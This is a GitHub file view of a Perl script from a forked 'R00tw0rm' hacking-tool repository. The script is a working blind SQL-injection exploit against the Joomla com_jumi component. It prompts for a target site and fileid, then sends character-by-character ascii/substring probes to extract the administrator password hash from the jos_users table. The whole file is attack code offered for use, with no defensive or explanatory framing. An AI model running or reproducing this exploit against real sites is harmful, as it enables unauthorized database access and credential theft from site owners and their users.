forked from fantome195/R00tw0rm-Tool-React0r-v1.0-
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Module3.pl
71 lines (42 loc) · 1.69 KB
/
Module3.pl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#!/usr/bin/perl -w
use LWP::UserAgent;
print "\t\t-------------------------------------------------------------\n\n";
print "\t\t (c) Rootw0rm for R00tw0rm mamber's \n\n";
print "\t\t Joomla Component com_jumi (fileid) Blind SQL-injection \n\n";
print "\t\t-----------------------------------------------------------------\n\n";
print "http://wwww.host.org/Path: ";
chomp(my $target=<STDIN>);
print " [-] Introduce fileid: ";
chomp($z=<STDIN>);
print " [+] Password: ";
$column_name="concat(password)";
$table_name="jos_users";
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
for ($x=1;$x<=32;$x++) #x limit referido a la posicion del caracter
{ #c referido a ascci 48-57, 97-102
for ($c=48;$c<=57;$c++)
{
$host = $target . "/index.php?option=com_jumi&fileid=".$z."'+and+ascii(substring((SELECT+".$column_name."+from+".$table_name."+limit+0,1),".$x.",1))=".$c."/*";
my $res = $b->request(HTTP::Request->new(GET=>$host));
my $content = $res->content;
my $regexp = "com_";
# print "limit:";
# print "$x";
# print "; assci:";
# print "$c;";
if ($content =~ /$regexp/) {$char=chr($c); print "$char";}
}
for ($c=97;$c<=102;$c++)
{
$host = $target . "/index.php?option=com_jumi&fileid=".$z."'+and+ascii(substring((SELECT+".$column_name."+from+".$table_name."+limit+0,1),".$x.",1))=".$c."/*";
my $res = $b->request(HTTP::Request->new(GET=>$host));
my $content = $res->content;
my $regexp = "com_";
# print "limit:";
# print "$x";
# print "; assci:";
# print "$c;";
if ($content =~ /$regexp/) {$char=chr($c); print "$char";}
}
}